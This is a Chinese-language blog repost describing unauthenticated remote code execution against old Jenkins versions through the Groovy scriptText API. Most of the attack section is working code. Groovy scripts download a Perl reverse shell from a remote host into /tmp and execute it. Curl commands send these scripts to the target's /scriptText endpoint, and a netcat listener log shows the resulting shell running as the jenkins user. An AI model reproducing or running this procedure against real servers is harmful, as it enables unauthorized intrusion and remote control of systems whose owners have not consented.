前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >Jenkins RCE 通过未经身份验证的 API

Jenkins RCE 通过未经身份验证的 API

作者头像
Khan安全团队
发布2021-07-08 11:39:38
发布2021-07-08 11:39:38
1.1K00
代码可运行
举报
文章被收录于专栏:Khan安全团队Khan安全团队
运行总次数:0
代码可运行

Jenkins(连续集成服务器)默认安装允许未经身份验证访问 Jenkins 主服务器上的 API(默认行为)。允许未经身份验证访问 groovy 脚本控制台,允许攻击者执行 shell 命令和/或连接回反向 shell。

Jenkins

版本 1.626

Jenkins

版本 1.638

经测试的操作系统

努力测试所有受影响的操作系统,显示默认操作系统打包版本的漏洞利用(例如 jenkins shell)的严重性。

操作系统

默认包展示

CentOS 6 - Jenkins RPM via Jenkins YUM Repo

shell 作为用户 jenkins

制作了一些小的 groovy 脚本来通过 Jenkins API 执行我想要的 shell 命令(我记得有一些问题通过 groovy 一次运行多个命令),然后我使用 Curl 执行它们。

groovy 脚本 wget shell

脚本将 wget perl 反向 shell 定位到目标并将其复制到 /tmp/shell

代码语言:javascript
代码运行次数:0
运行
复制
def command = "wget http://192.168.145.128/perl-reverse-shell.pl -O /tmp/shell"
   def proc = command.execute()
   proc.waitFor()
   println "Process exit code: ${proc.exitValue()}"
   println "Std Err: ${proc.err.text}"
   println "Std Out: ${proc.in.text}"

默认情况下,Jenkins 需要/tmp设置执行挂载选项,因此您应该可以安全地将 shell 放置在 Jenkins 服务器上。

groovy 脚本执行 shell 命令

代码语言:javascript
代码运行次数:0
运行
复制
    def command = "perl /tmp/shell"
    def proc = command.execute()
    proc.waitFor()              

    println "Process exit code: ${proc.exitValue()}"
    println "Std Err: ${proc.err.text}"
    println "Std Out: ${proc.in.text}"
代码语言:javascript
代码运行次数:0
运行
复制

通过 scriptText Jenkins API 执行 Groovy 脚本

代码语言:javascript
代码运行次数:0
运行
复制
curl -d "script=$(<./wget.groovy)" -X POST http://192.168.30.130:8080/scriptText
curl --data-urlencode  "script=$(<./execute.groovy)" -X POST http://192.168.30.130:8080/scriptText
代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
复制
[root:~/pwn-jenkins]# nc -v -n -l -p 443
    listening on [any] 443 ...
    connect to [192.168.30.128] from (UNKNOWN) [192.168.30.130] 42340
     21:16:17 up 15:17,  1 user,  load average: 0.23, 0.31, 0.17
     USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
     root     tty1     -                05:59    3:40   0.12s  0.12s -bash
     Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
     uid=498(jenkins) gid=499(jenkins) groups=499(jenkins) context=unconfined_u:system_r:unconfined_java_t:s0
     /
     apache: cannot set terminal process group (-1): Invalid argument
     apache: no job control in this shell
     apache-4.1$ whoami
     whoami     jenkins
     apache-4.1$ id
     id     uid=498(jenkins) gid=499(jenkins) groups=499(jenkins) context=unconfined_u:system_r:unconfined_java_t:s0
     apache-4.1$
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 经测试的操作系统
    • groovy 脚本 wget shell
    • groovy 脚本执行 shell 命令
    • 通过 scriptText Jenkins API 执行 Groovy 脚本
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档